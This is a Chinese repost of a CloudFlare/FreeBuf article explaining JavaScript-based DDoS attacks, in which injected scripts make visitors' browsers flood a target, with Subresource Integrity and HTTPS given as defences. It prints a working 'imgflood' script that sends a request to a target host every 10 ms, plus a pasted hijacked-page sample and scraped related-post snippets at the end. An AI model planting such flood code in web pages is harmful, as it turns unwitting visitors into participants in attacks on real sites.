1. 程式人生 > >淺談基於JavaScript的DDOS攻擊

淺談基於JavaScript的DDOS攻擊

CloudFlare通過對上百萬個網站進行防護,總結出最古老、最普遍的攻擊非DDoS攻擊莫屬。在傳統的DDoS攻擊中,攻擊者會控制大量的傀儡機,然後向目標伺服器傳送大量請求,阻止合法使用者訪問網站。

然而,最近幾年DDoS攻擊技術不斷推陳出新:攻擊者用一種新型且很有趣的方式欺騙使用者參與到攻擊活動中。去年CloudFlare就見證了一次使用NTP對映的攻擊,可能是DDoS攻擊史上最大的一次攻擊(大於400Gbps)。

今年的DDoS攻擊又出現了一個新的攻擊趨勢:使用惡意的JavaScript欺騙使用者參與DDoS攻擊。

NTP或者DNS對映攻擊造成的後果受到傀儡伺服器數量的限制,同時攻擊流量也受傀儡伺服器容量的限制。隨著時間的推移,伺服器會不斷的更新補丁,能被攻擊者利用的伺服器數量也在不斷的減少。而基於JavaScript的DDOS攻擊有一個非比尋常的特點:任何有瀏覽器的裝置都可能參與攻擊,其潛在攻擊規模接近無限。

基於JavaScript的DDOS攻擊原理

現代網站的互動作用大多數都是採用JavaScript。JavaScript指令碼可直接注入HTML中,或者通過 <script src=""> HTML從遠端伺服器載入。

Web2.0的出現使得網站可以從JavaScript中載入不同步的內容(content asynchronously)。Web2.0更注重互動性,使用者在釋出內容的過程中不僅實現了與網路伺服器之間的互動,也實現了同一網站不同使用者之間的互動,以及不同網站之間資訊的互動。然而從JavaScript中製造出HTTP(S)請求會使瀏覽器使用起來更加的有趣,甚至還可以將瀏覽器變成一種攻擊武器。

例如,下面的指令碼(略有修改)就會向受害網站傳送大量的請求:

[javascript] view plain copy  print?
  1. function imgflood() {     
  2.   var TARGET = 'example.com'
  3.   var URI = '/index.php?'
  4.   var pic = new Image()    
  5.   var rand = Math.floor(Math.random() * 1000)    
  6.   pic.src = 'http://'+TARGET+URI+rand+'=val'
  7. }    
  8. setInterval(imgflood, 10)    

該指令碼會在目標網頁上生成一個圖片按鈕,圖片按鈕會指向“example.com” 網站。只要使用者訪問了含有該指令碼的網頁,那麼他就會成為 “example.com”DDoS攻擊中的一員。瀏覽器發出的每一個請求都是有效請求,於是該攻擊又變成了Layer 7 攻擊。

FreeBuf百科:應用層攻擊

攻擊者傳送大量的資料包或利用伺服器應用的漏洞等,飽和伺服器的資源,造成DDOS攻擊,該類漏洞往往不需要大量的肉雞。應用層DDOS攻擊的列子包括Slowloris、Apache、Windwos、OpenBSD等的漏洞。如ModSecurity 空指標間接引用遠端拒絕服務漏洞(CVE-2013-2765),攻擊者可以利用該漏洞使Apache Web伺服器崩潰。


如果攻擊者在一個網站中嵌入了惡意JavaScript指令碼,那麼該網站的每一個訪客都將成為DDoS攻擊中的一員。網站流量越高就意味著DDoS越嚴重。

入侵共享JavaScript的第三方伺服器

許多網站使用的都是普通的JavaScript庫,為了節約頻寬、提升效能,通常還會將JavaScript指令碼共享在第三方伺服器上。也就是說如果網站上包含有指向第三方伺服器的指令碼標籤,就意味著所有訪問該網站的使用者都將自動下載JavaScript指令碼,並執行。不幸的是,如果攻擊者入侵了該第三方伺服器並在JavaScript指令碼中注入了DDoS攻擊程式碼,那結果可想而知了,所有的訪客也將變成DDoS攻擊中的一員。


2014年9月份的時候,jQuery就發生過這種形式的入侵。

子資源完整性簡介

通過替換第三方伺服器上的JavaScript展開攻擊,這是其實也是一種比較老的攻擊方式。目前HTTP還沒有相關的機制來阻止該指令碼的執行,但W3C已經提出了名叫子資源完整性(SRI)的新功能,使用加密雜湊值驗證指令碼,如果雜湊值不匹配瀏覽器可以阻止其執行。

例如,如下指令碼標籤:

[javascript] view plain copy  print?
  1. <script src="https://code.jquery.com/jquery-1.10.2.min.js">   

瀏覽器會自動下載該.js檔案,並且會不分青紅皁白的執行它。即使該檔案中被攻擊者注入了惡意指令碼,瀏覽器也不會識別。然而如果網站發現了雜湊值驗證指令碼不匹配,子資源完整性(SRI)會告訴瀏覽器不要執行該指令碼。

[javascript] view plain copy  print?
  1. <script src="https://code.jquery.com/jquery-1.10.2.min.js"
  2.         integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="
  3.          crossorigin="anonymous">    

建議網站管理員將新增這一標籤新增到伺服器上,用以保護其使用者不被利用。

目前支援子資源完整性的瀏覽器只有Chrome和Firefox。

中間人攻擊

位於瀏覽器和伺服器間的中間人可以任意修改資料,包括更改HTML內容或者JavaScript指令碼。而如果中間人走偏了,做了一些惡意的事情,如向頁面中新增惡意JavaScript並執行,那後果一樣很嚴重 (也就是所謂的中間人攻擊)。

修改傳輸過程中的網站是ISPs和WiFi供應商獨有的技術,但如果攻擊者獲得了這一許可權,他們會將傳輸過程中的指令碼替換成惡意JavaScript指令碼。更甚的是,如果JavaScript指令碼中包含了DDoS指令碼,那DDoS攻擊成員將會進一步的擴大。

情況還可以更糟糕一點,如果JavaScript檔案的傳輸路徑正好經過攻擊者的網路,那麼參與DDoS攻擊的瀏覽器和使用者的數量將會大的驚人。

總結:防禦


基於JavaScript的DDOS攻擊越來越頻發,防禦這一攻擊的唯一方式是全面啟用HTTPS。

* 參考來源blog.cloudflare,轉載請註明來自FreeBuf黑客與極客(FreeBuf.COM)


公司網站js被劫持的惡意程式碼:

[html] view plain copy  print?
  1. <html>
  2. <head>
  3. <title>pos.baidu.com基於JavaScript的DDOS攻擊</title>
  4. <metahttp-equiv="Content-Type"content="text/html; charset=utf-8">
  5. <script>
  6. document.writeln("<script>");    
  7. document.writeln("(function() {");    
  8. document.writeln("    var s = \"_\" + Math.random().toString(36).slice(2);");    
  9. document.writeln("    document.write(\'<divid=\"\' + s + \'\"><\/div>\');");    
  10. document.writeln("    (window.slotbydup=window.slotbydup || []).push({");    
  11. document.writeln("        id: \'2086452\',");    
  12. document.writeln("        container: s,");    
  13. document.writeln("        size: \'1000,90\',");    
  14. document.writeln("        display: \'inlay-fix\'");    
  15. document.writeln("    });");    
  16. document.writeln("})();");    
  17. document.writeln("<\/script>");    
  18. document.writeln("<scriptsrc=\"http:\/\/dup.baidustatic.com\/js\/os.js\"><\/script>");    
  19. </script>
  20. </head>
  21. <body>
  22. <h1>pos.baidu.com基於JavaScript的DDOS攻擊</h1>
  23. </body>
  24. </html>

執行上面的指令碼後的html頁面是這樣的:

[html] view plain copy  print?
  1. <html><head>
  2. <title>pos.baidu.com基於JavaScript的DDOS攻擊</title>
  3. <metahttp-equiv="Content-Type"content="text/html; charset=utf-8">
  4. <script>
  5. document.writeln("<script>");    
  6. document.writeln("(function() {");    
  7. document.writeln("    var s = \"_\" + Math.random().toString(36).slice(2);");    
  8. document.writeln("    document.write(\'<divid=\"\' + s + \'\"><\/div>\');");    
  9. document.writeln("    (window.slotbydup=window.slotbydup || []).push({");    
  10. document.writeln("        id: \'2086452\',");    
  11. document.writeln("        container: s,");    
  12. document.writeln("        size: \'1000,90\',");    
  13. document.writeln("        display: \'inlay-fix\'");    
  14. document.writeln("    });");    
  15. document.writeln("})();");    
  16. document.writeln("<\/script>");    
  17. document.writeln("<scriptsrc=\"http:\/\/dup.baidustatic.com\/js\/os.js\"><\/script>");    
  18. </script><script>
  19. (function() {    
  20.     var s = "_" + Math.random().toString(36).slice(2);    
  21.     document.write('<divid="' + s + '"></div>');    
  22.     (window.slotbydup=window.slotbydup || []).push({    
  23.         id: '2086452',    
  24.         container: s,    
  25.         size: '1000,90',    
  26.         display: 'inlay-fix'    
  27.     });    
  28. })();    
  29. </script></head><body><divid="BAIDU_DUP_fp_wrapper"style="position: absolute; left: -1px; bottom: -1px; z-index: 0; width: 0px; height: 0px; overflow: hidden; visibility: hidden; display: none;"><iframeid="BAIDU_DUP_fp_iframe"src="http://pos.baidu.com/wh/o.htm?ltr="style="width: 0px; height: 0px; visibility: hidden; display: none;"></iframe></div><divid="_mqav9rtar860qkt9"></div>
  30. <scriptsrc="http://dup.baidustatic.com/js/os.js"></script><scriptcharset="utf-8"src="http://pos.baidu.com/ecom?di=2086452&dri=0&dis=0&dai=1&ps=8x8&dcb=BAIDU_SSP_define&dtm=BAIDU_DUP_SETJSONADSLOT&dvi=0.0&dci=-1&dpt=none&tsr=16&tpr=1447061978731&ti=pos.baidu.com%E5%9F%BA%E4%BA%8EJavaScript%E7%9A%84DDOS%E6%94%BB%E5%87%BB&ari=1&dbv=2&drs=1&pcs=1920x805&pss=1920x805&cfv=19&cpl=5&chi=1&cce=true&cec=GBK&tlm=1447061978<u=file%3A%2F%2F%2FC%3A%2FUsers%2FTopSage%2FDesktop%2F%25E5%25A4%25A7%25E5%25AE%25B6%25E8%25AE%25BA%25E5%259D%259B-%25E5%2585%25A8%25E7%2590%2583%25E6%259C%2580%25E5%25A4%25A7%25E7%259A%2584%25E6%2595%2599%25E8%2582%25B2%25E5%259F%25B9%25E8%25AE%25AD%25E5%25AD%25A6%25E4%25B9%25A0%25E8%2580%2583%25E8%25AF%2595%25E8%25AE%25BA%25E5%259D%259B%25EF%25BC%2581%25E8%258B%25B1%25E8%25AF%25AD%25E3%2580%2581%25E8%25B4%25A2%25E4%25BC%259A%25E3%2580%2581%25E8%25AE%25A1%25E7%25AE%2597%25E6%259C%25BA%25E7%25BD%2591%25E4%25B8%258A%25E5%25AD%25A6%25E4%25B9%25A0%25E5%25AE%25B6%25E5%259B%25AD%25EF%25BC%2581.html&ecd=1&psr=1920x1080&par=1920x1040&pis=-1x-1&ccd=24&cja=true&cmi=7&col=zh-CN&cdo=-1&tcn=1447061979"></script><script>
  31. function imgflood() {    
  32. var TARGET

    相關推薦

    基於 NTP 的反射和放大攻擊

                           淺談基於 NTP 的反射和放大攻擊 轉載於:https://www.2cto.com/article/201402/278775.h

    基於JavaScript的DDOS攻擊

    CloudFlare通過對上百萬個網站進行防護,總結出最古老、最普遍的攻擊非DDoS攻擊莫屬。在傳統的DDoS攻擊中,攻擊者會控制大量的傀儡機,然後向目標伺服器傳送大量請求,阻止合法使用者訪問網站。 然而,最近幾年DDoS攻擊技術不斷推陳出新:攻擊者用一種新型且很有趣的方式欺騙使用者參與到攻擊活動中

    基於Prism的軟件系統的架構設計

    then idata items main.c 說明 sop open send 全局   很早就想寫這麽一篇文章來對近幾年使用Prism框架來設計軟件來做一次深入的分析了,但直到最近才開始整理,說到軟件系統的設計這裏面有太多的學問,只有經過大量的探索才能夠設計出好的軟件產

    基於Python的Scrapy爬蟲入門

    Python爬蟲教程 Python內容講解 (一)內容分析   接下來創建一個爬蟲項目,以圖蟲網為例抓取裏面的圖片。在頂部菜單“發現”“標簽”裏面是對各種圖片的分類,點擊一個標簽,比如“Python視頻課程”,網頁的鏈接為:http://www.codingke.com/Python視頻課程/,我們以

    JSON HiJacking攻擊

    方式 www 完成 html 隱私 color alert 可讀性強 content JSON HiJacking攻擊: JSON劫持類似於CSRF攻擊,為了了解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取數據的方式:JSONP。 先說一下JSON吧,JSON是

    創客集結號基於創客教育培養創客教師的八大建議

    老師 進行 建設 想法 搭建 合作 實的 需要 依據 創客教師是創客教育開展的基礎。創客教師需具有較紮實的實踐技能和跨學科知識整合能力。因此,創客集結號認為應該讓創客教師定期到高校裏進行培訓,不定期開展3D打印、開源硬件設計、機器人技術交流等活動,逐步培養創客教學意識、提升

    XXE漏洞攻擊與防禦——本質上就是注入,盜取資料用

    淺談XXE漏洞攻擊與防禦 from:https://thief.one/2017/06/20/1/ XML基礎 在介紹xxe漏洞前,先學習溫顧一下XML的基礎知識。XML被設計為傳輸和儲存資料,其焦點是資料的內容,其把資料從HTML分離,是獨立於軟體和硬體的資訊傳輸工具。 XML文件結

    基於WOPI協議實現跨瀏覽器的Office線上編輯解決方案

        如今,基於Web版的Office 線上預覽與編輯功能已成為一種趨勢,而關於該技術的實現卻成為了國內大部份公司的技術挑戰,挑戰主要存在於兩方面:     其一:目前國內乃至微軟本身,還沒有相對較為完善的解決方案     其二:對於開發人員來

    基於VCS+VVR+GCO組合的資料容災方案

           容災技術以往只有在對資訊資料特別敏感的金融和通訊領域應用,但隨著容災技術的發展和企業對資訊資料的重視層度的提高,整個資訊市場也就對災難場景下業務系統的快速恢復和資料保護提出了需求。現有的容災技術包含以下幾類:        1. 基於硬體平臺的資料容災解決方案,如IBM PPRC,EM

    基於機器學習的智慧運維

    本文轉載自https://blog.csdn.net/BtB5e6Nsu1g511Eg5XEg/article/details/79588769 清華大學計算機系副教授裴丹於運維自動化專場發表了題為《基於機器學習的智慧運維》的演講,上篇參看“科研角度談“如何實現基於機器學習的

    基於Selenium的Web自動化測試框架

     ● 面臨的挑戰   從Google到Facebook,從Twitter到新浪微博,新一輪的網際網路熱潮正在全世界蔓延。隨著雲概念的日益清晰,越來越多的企業也已經擺脫了傳統的C/S架構的應用框架而轉投雲端計算的懷抱,Web已經成為我們生活和工作的重心。   有別於傳統

    基於隨機性演算法的素數判定

    引:考慮這樣的一個問題 判斷一個long long範圍內的數是否是素數。 引理1-1: ap≡a(modp)|(a,p)=1 其實這就是熟悉的Fermat小定理了~~ 引理1-2: 對於 a2≡1(modn)|n為素數 的解僅有 a = 1 或

    基於過程與基於物件

    程式設計的人都知道:C是基於過程的,C++是基於物件的。 那基於過程與基於物件的思維有什麼不同呢? 本文是博主初學時的一點薄見,希望能夠拋磚引玉,也希望大蝦們批評指正。一切都為共同進步。。。 淺顯地說: 基於過程就是將一個任務分解成一個一個的步驟,通過連續的實現步驟最後完

    基於simhash的文字去重原理

    題外話 最近更新文章的頻率比較低,所以抓緊抽時間更新一波,要不然有人取關了,啊哈哈。 近日比較開心的一件事情是偶然的機會在開發者頭條分享了一篇文章,然後這篇文章目前排在7日熱度文章第二,看了下點贊近40、收藏數近200、閱讀量近2w,所以更堅定了要寫下去和大家一起分享學習的想法。 之前一直在系列輸出Redis

    CSRF攻擊方式

    taf 紐約 .aspx tab ext src tid object c rip 淺談CSRF攻擊方式 2009-04-09 22:44 by hyddd, 237036 閱讀, 125 評論, 收藏, 編輯 一.CSRF是什麽?   CSRF(Cross-site

    xss攻擊原理與解決方法

    ntb name 出現 AD 提交 參數傳遞 anti val 什麽 概述 XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁註入可執行代碼且成功地被瀏覽器 執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列表,然後向聯系人發送

    分散式鎖--基於快取(Redis,memcached,tair)實現篇

    淺談分散式鎖--基於快取(Redis,memcached,tair)實現篇: 一、Redis分散式鎖 1、Redis實現分散式鎖的原理:     1.利用setnx命令,即只有在某個key不存在情況才能set成功該key,這樣就達到了多個程序併發去set

    分散式鎖--基於Zookeeper實現篇

    淺談分散式鎖--基於Zookeeper實現篇: 1、基於zookeeper臨時有序節點可以實現的分散式鎖。其實基於ZooKeeper,就是使用它的臨時有序節點來實現的分散式鎖。 來看下Zookeeper能不能解決前面提到的問題。     鎖無法釋放:使用

    分散式鎖--基於資料庫實現篇

    淺談分散式鎖--基於資料庫實現篇 1、基於資料庫表     要實現分散式鎖,最簡單的方式可能就是直接建立一張鎖表,然後通過操作該表中的資料來實現了。     當我們要鎖住某個方法或資源時,我們就在該表中增加一條記錄,想要釋放鎖的

    iptables防SYN Flood攻擊和CC攻擊

    ------------------------本文為自己實踐所總結,概念性的東西不全,這裡粗劣提下而已,網上很多,本文主要說下目前較流行的syn洪水攻擊和cc攻擊------------------------------------- 何為syn flood攻擊:   SYN Flood是一種廣為人知